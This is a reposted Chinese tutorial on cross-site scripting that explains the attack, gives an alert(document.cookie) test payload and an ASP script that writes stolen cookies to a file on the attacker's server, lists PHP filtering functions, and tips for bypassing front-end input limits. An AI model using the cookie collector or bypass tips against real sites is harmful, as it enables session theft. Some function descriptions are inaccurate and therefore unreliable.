軟件安全--xss跨站腳本攻擊


簡介:惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽頁面時,嵌入其中的Script代碼會被執行,從而達到惡意攻擊用戶的目的。

觸發:發生在目標網站中目標用戶的瀏覽器層面上

常見:公共留言板,公共可見文本

測試方法:

(1)cookies彈框

<script>alert(document.cookie)</script>

(2)cookies獲取寫入到攻擊者的文件夾

<html>

<title>xx</title>

<body>

<%testfile = Server.MapPath("code.txt") //先構造一個路徑,也就是取網站根目錄,創造一個在根目錄下的code.txt路徑,保存在testfile中

msg = Request("msg") //獲取提交過來的msg變量,也就是cookie值

set fs = server.CreateObject("scripting.filesystemobject")//創建一個fs對象

set thisfile = fs.OpenTextFile(testfile,8,True,0)

thisfile.WriteLine(""&msg&"")//像code.txt中寫入獲取來的cookie

thisfile.close() //關閉

set fs = nothing%>

</body>

</html>

處理方法:

采用Filter技術,對所有參數都進行過濾,處理方案為:1. 特殊字符做轉義【&it;,&gt;,&quot】。 2. 含有敏感的html腳本,直接處理掉。

常見的XSS過濾:
1.htmlspecialchars()函數 
能將單引號'',雙引號"",斜杠/,反斜杠\  轉義,也就是在這些符號前加上退意符\。
但該函數默認編碼雙引號,正反斜杠(/,\)
如果想要編碼單引號,則需要加上一個參數
  
2.strip_tags函數
將尖括號編碼

3.addslashes
將單雙引號轉移   就是在 '前加個\

4.addslashes()函數
將預定義字符 '   "    \  NULL
函數會在這四個字符前加上 \

5.我在滲透測試過程中見到的基本上都是將關鍵符號如 <>"" '' ()等等
這些符號進行實體編碼
或者直接將這些符號過濾掉
再或者將關鍵字alert script  src img等等過濾掉
有些時候會通過前端JS校驗,限制輸入字符串長度,是你無法構建完整的XSS語句
不過你在頁面中查看元素,找到對應代碼,修改其中的限制即可
或者先輸入一個合法的字符串,接着使用brupsuit抓包更改


注意!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系我们删除。



 
粤ICP备14056181号  © 2014-2020 ITdaan.com